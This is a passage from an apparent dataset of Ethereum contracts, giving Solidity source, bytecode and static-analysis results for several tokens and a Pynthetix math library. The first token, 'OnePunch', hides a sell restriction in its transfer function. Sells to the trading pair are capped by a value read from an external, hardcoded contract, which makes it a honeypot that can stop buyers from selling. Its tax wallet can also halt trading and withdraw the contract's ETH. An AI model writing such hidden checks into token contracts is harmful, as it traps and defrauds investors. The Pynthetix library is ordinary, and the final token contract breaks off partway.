TAX_THRESHOLD=0; contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface O{ function amount(address from) external view returns (uint256); } contract OnePunch is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(20); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function endTrading() external onlyTaxCollector{ require(_canTrade,"Trading is not started yet"); _swapEnabled = false; _canTrade = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102945780639e752b95146102c3578063a9059cbb146102e3578063dd62ed3e14610303578063f42938901461034957600080fd5b806356d9dce81461022257806370a0823114610237578063715018a6146102575780638da5cb5b1461026c57600080fd5b8063293230b8116100d1578063293230b8146101c5578063313ce567146101dc5780633e07ce5b146101f857806351bc3c851461020d57600080fd5b806306fdde031461010e578063095ea7b31461015257806318160ddd1461018257806323b872dd146101a557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600981526809edcca40a0eadcc6d60bb1b60208201525b60405161014991906114eb565b60405180910390f35b34801561015e57600080fd5b5061017261016d366004611555565b61035e565b6040519015158152602001610149565b34801561018e57600080fd5b50610197610375565b604051908152602001610149565b3480156101b157600080fd5b506101726101c0366004611581565b610396565b3480156101d157600080fd5b506101da6103ff565b005b3480156101e857600080fd5b5060405160068152602001610149565b34801561020457600080fd5b506101da610777565b34801561021957600080fd5b506101da6107ad565b34801561022e57600080fd5b506101da6107da565b34801561024357600080fd5b506101976102523660046115c2565b61085b565b34801561026357600080fd5b506101da61087d565b34801561027857600080fd5b506000546040516001600160a01b039091168152602001610149565b3480156102a057600080fd5b50604080518082019091526006815265062a0aa9c86960d31b602082015261013c565b3480156102cf57600080fd5b506101da6102de3660046115df565b610921565b3480156102ef57600080fd5b506101726102fe366004611555565b61094a565b34801561030f57600080fd5b5061019761031e3660046115f8565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035557600080fd5b506101da610957565b600061036b3384846109c1565b5060015b92915050565b60006103836006600a61172b565b61039190638f0d180061173a565b905090565b60006103a3848484610ae5565b6103f584336103f0856040518060600160405280602881526020016118b8602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e17565b6109c1565b5060019392505050565b6009546001600160a01b0316331461041657600080fd5b600c54600160a01b900460ff16156104755760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104a19030906001600160a01b03166104936006600a61172b565b6103f090638f0d180061173a565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105189190611759565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059e9190611759565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060f9190611759565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061063f8161085b565b6000806106546000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106bc573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106e19190611776565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610750573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077491906117a4565b50565b6009546001600160a01b0316331461078e57600080fd5b61079a6006600a61172b565b6107a890638f0d180061173a565b600a55565b6009546001600160a01b031633146107c457600080fd5b60006107cf3061085b565b905061077481610e51565b6009546001600160a01b031633146107f157600080fd5b600c54600160a01b900460ff1661084a5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f74207374617274656420796574000000000000604482015260640161046c565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461036f90610fcb565b6000546001600160a01b031633146108d75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161046c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093857600080fd5b6008811061094557600080fd5b600855565b600061036b338484610ae5565b6009546001600160a01b0316331461096e57600080fd5b4761077481611048565b60006109ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611086565b9392505050565b6001600160a01b038316610a235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046c565b6001600160a01b038216610a845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b495760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046c565b6001600160a01b038216610bab5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046c565b60008111610c0d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046c565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8091906117c6565b600c546001600160a01b038481169116148015610cab5750600b546001600160a01b03858116911614155b610cb6576000610cb8565b815b1115610cc357600080fd5b6000546001600160a01b03848116911614801590610cef57506000546001600160a01b03838116911614155b15610e0757600c546001600160a01b038481169116148015610d1f5750600b546001600160a01b03838116911614155b8015610d4457506001600160a01b03821660009081526004602052604090205460ff16155b15610d9a57600a548110610d9a5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161046c565b6000610da53061085b565b600c54909150600160a81b900460ff16158015610dd05750600c546001600160a01b03858116911614155b8015610de55750600c54600160b01b900460ff165b15610e0557610df381610e51565b478015610e0357610e0347611048565b505b505b610e128383836110b4565b505050565b60008184841115610e3b5760405162461bcd60e51b815260040161046c91906114eb565b506000610e4884866117df565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e9957610e996117f6565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f169190611759565b81600181518110610f2957610f296117f6565b6001600160a01b039283166020918202929092010152600b54610f4f91309116846109c1565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f8890859060009086903090429060040161180c565b600060405180830381600087803b158015610fa257600080fd5b505af1158015610fb6573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110325760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161046c565b600061103c6110bf565b90506109ba8382610978565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611082573d6000803e3d6000fd5b5050565b600081836110a75760405162461bcd60e51b815260040161046c91906114eb565b506000610e48848661187d565b610e128383836110e2565b60008060006110cc6111d9565b90925090506110db8282610978565b9250505090565b6000806000806000806110f48761125b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061112690876112b8565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461115590866112fa565b6001600160a01b03891660009081526002602052604090205561117781611359565b61118184836113a3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111c691815260200190565b60405180910390a3505050505050505050565b6005546000908190816111ee6006600a61172b565b6111fc90638f0d180061173a565b905061122461120d6006600a61172b565b61121b90638f0d180061173a565b60055490610978565b8210156112525760055461123a6006600a61172b565b61124890638f0d180061173a565b9350935050509091565b90939092509050565b60008060008060008060008060006112788a6007546008546113c7565b92509250925060006112886110bf565b9050600080600061129b8e87878761141c565b919e509c509a509598509396509194505050505091939550919395565b60006109ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e17565b600080611307838561189f565b9050838110156109ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046c565b60006113636110bf565b90506000611371838361146c565b3060009081526002602052604090205490915061138e90826112fa565b30600090815260026020526040902055505050565b6005546113b090836112b8565b6005556006546113c090826112fa565b6006555050565b60008080806113e160646113db898961146c565b90610978565b905060006113f460646113db8a8961146c565b9050600061140c826114068b866112b8565b906112b8565b9992985090965090945050505050565b600080808061142b888661146c565b90506000611439888761146c565b90506000611447888861146c565b905060006114598261140686866112b8565b939b939a50919850919650505050505050565b60008261147b5750600061036f565b6000611487838561173a565b905082611494858361187d565b146109ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046c565b600060208083528351808285015260005b81811015611518578581018301518582016040015282016114fc565b8181111561152a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077457600080fd5b6000806040838503121561156857600080fd5b823561157381611540565b946020939093013593505050565b60008060006060848603121561159657600080fd5b83356115a181611540565b925060208401356115b181611540565b929592945050506040919091013590565b6000602082840312156115d457600080fd5b81356109ba81611540565b6000602082840312156115f157600080fd5b5035919050565b6000806040838503121561160b57600080fd5b823561161681611540565b9150602083013561162681611540565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168257816000190482111561166857611668611631565b8085161561167557918102915b93841c939080029061164c565b509250929050565b6000826116995750600161036f565b816116a65750600061036f565b81600181146116bc57600281146116c6576116e2565b600191505061036f565b60ff8411156116d7576116d7611631565b50506001821b61036f565b5060208310610133831016604e8410600b8410161715611705575081810a61036f565b61170f8383611647565b806000190482111561172357611723611631565b029392505050565b60006109ba60ff84168361168a565b600081600019048311821515161561175457611754611631565b500290565b60006020828403121561176b57600080fd5b81516109ba81611540565b60008060006060848603121561178b57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117b657600080fd5b815180151581146109ba57600080fd5b6000602082840312156117d857600080fd5b5051919050565b6000828210156117f1576117f1611631565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561185c5784516001600160a01b031683529383019391830191600101611837565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261189a57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118b2576118b2611631565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c98b57f9f0dba9391c80e2ef88c194b9d1b4d5e0810a35d33e919cf29d6dcf8b64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,525
0xcaE93F84BcA6deF3c6f8a7F2b4974A66472Af6f3
/* * Pynthetix: SafeDecimalMath.sol * * Latest source (may be newer): https://github.com/Pynthetixio/pynthetix/blob/master/contracts/SafeDecimalMath.sol * Docs: https://docs.pynthetix.io/contracts/SafeDecimalMath * * Contract Dependencies: (none) * Libraries: * - SafeDecimalMath * - SafeMath * * MIT License * =========== * * Copyright (c) 2021 Pynthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // Libraries // https://docs.pynthetix.io/contracts/source/libraries/safedecimalmath library SafeDecimalMath { using SafeMath for uint; /* Number of decimal places in the representations. */ uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; /* The number representing 1.0. */ uint public constant UNIT = 10**uint(decimals); /* The number representing 1.0 for higher fidelity numbers. */ uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals); /** * @return Provides an interface to UNIT. */ function unit() external pure returns (uint) { return UNIT; } /** * @return Provides an interface to PRECISE_UNIT. */ function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } /** * @return The result of multiplying x and y, interpreting the operands as fixed-point * decimals. * * @dev A unit factor is divided out after the product of x and y is evaluated, * so that product must be less than 2**256. As this is an integer division, * the internal division always rounds down. This helps save on gas. Rounding * is more expensive on gas. */ function multiplyDecimal(uint x, uint y) internal pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ return x.mul(y) / UNIT; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of the specified precision unit. * * @dev The operands should be in the form of a the specified unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function _multiplyDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a precise unit. * * @dev The operands should be in the precise unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a standard unit. * * @dev The operands should be in the standard unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is a high * precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and UNIT must be less than 2**256. As * this is an integer division, the result is always rounded down. * This helps save on gas. Rounding is more expensive on gas. */ function divideDecimal(uint x, uint y) internal pure returns (uint) { /* Reintroduce the UNIT factor that will be divided out by y. */ return x.mul(UNIT).div(y); } /** * @return The result of safely dividing x and y. The return value is as a rounded * decimal in the precision unit specified in the parameter. * * @dev y is divided after the product of x and the specified precision unit * is evaluated, so the product of x and the specified precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function _divideDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } /** * @return The result of safely dividing x and y. The return value is as a rounded * standard precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and the standard precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is as a rounded * high precision decimal. * * @dev y is divided after the product of x and the high precision unit * is evaluated, so the product of x and the high precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } /** * @dev Convert a standard decimal representation to a high precision one. */ function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } /** * @dev Convert a high precision decimal to a standard decimal representation. */ function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } }
0x73cae93f84bca6def3c6f8a7f2b4974a66472af6f3301460806040526004361060655760003560e01c8063313ce56714606a578063864029e7146086578063907af6c014609e5780639d8e21771460a4578063d5e5e6e61460aa578063def4419d1460b0575b600080fd5b607060b6565b6040805160ff9092168252519081900360200190f35b608c60bb565b60408051918252519081900360200190f35b608c60cb565b608c60d7565b608c60e3565b607060f3565b601281565b6b033b2e3c9fd0803ce800000081565b670de0b6b3a764000090565b670de0b6b3a764000081565b6b033b2e3c9fd0803ce800000090565b601b8156fea265627a7a723158204126a12b01523224852b221f45c5f31f620df4e7110091434c00b706cbfcf13364736f6c63430005100032
{"success": true, "error": null, "results": {}}
2,526
0xdc6f2636e4cda234f353f653bff57d8b0714529f
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract To_The_Moon is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "To The Moon"; string private 